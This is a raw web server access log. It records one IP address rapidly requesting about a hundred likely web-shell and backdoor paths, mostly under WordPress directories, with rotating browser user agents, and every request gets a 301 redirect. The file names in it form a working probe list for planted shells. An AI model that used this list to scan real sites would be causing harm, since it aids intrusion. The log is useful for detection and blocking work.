[10/Feb/2026:13:51:52 +0300] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:52 +0300] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:51:52 +0300] "GET /wp-includes/images/media/dog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:52 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:53 +0300] "GET /wp-includes/SimplePie/applicationd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:53 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:53 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:51:53 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 104.243.245.7 - - [10/Feb/2026:13:51:54 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:54 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:54 +0300] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:55 +0300] "GET /wp-includes/IXR/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:55 +0300] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:55 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:55 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:51:55 +0300] "GET /wp-content/plugins/seoo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:56 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:51:56 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:51:56 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:51:56 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:57 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:57 +0300] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:51:57 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:57 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:51:58 +0300] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:51:58 +0300] "GET /wp-admin/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:51:58 +0300] "GET /templates/beez3/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:58 +0300] "GET /wp-admin/css/colors/blue/ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:51:59 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:59 +0300] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:59 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:59 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:52:00 +0300] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:52:00 +0300] "GET /wp-includes/customize/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:00 +0300] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:01 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:52:01 +0300] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:52:01 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:01 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:02 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:02 +0300] "GET /wp-content/plugins/ioxi/ioxiworm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:02 +0300] "GET /blog/wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:02 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:03 +0300] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:03 +0300] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:52:03 +0300] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:03 +0300] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:04 +0300] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:04 +0300] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:04 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:04 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:05 +0300] "GET /wp-includes/css/dist/edit-widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:05 +0300] "GET /wp-includes/css/dist/edit-widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:05 +0300] "GET /wp-includes/Requests/src/Exception/Http/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:06 +0300] "GET /wp-includes/Text/Diff/Renderer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:06 +0300] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:06 +0300] "GET /wp-admin/css/colors/ocean/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:06 +0300] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:07 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:07 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:07 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:08 +0300] "GET /wp-admin/maint/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:08 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:08 +0300] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:08 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:52:09 +0300] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:52:09 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:09 +0300] "GET /blog/wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:52:09 +0300] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:10 +0300] "GET /blog/wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 104.243.245.7 - - [10/Feb/2026:13:52:10 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:10 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:52:10 +0300] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:11 +0300] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:52:11 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:52:11 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:11 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:12 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:52:12 +0300] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:12 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:13 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:13 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 104.243.245.7 - - [10/Feb/2026:13:52:13 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:52:13 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:14 +0300] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:52:14 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:14 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:52:14 +0300] "GET /setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:52:15 +0300] "GET /.bod/.ll/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:15 +0300] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:15 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:15 +0300] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:16 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:16 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:16 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:52:16 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:52:17 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:17 +0300] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:17 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:17 +0300] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:18 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:18 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:52:18 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:18 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:52:19 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:19 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:19 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:19 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:20 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:52:20 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:20 +0300] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:20 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:52:21 +0300] 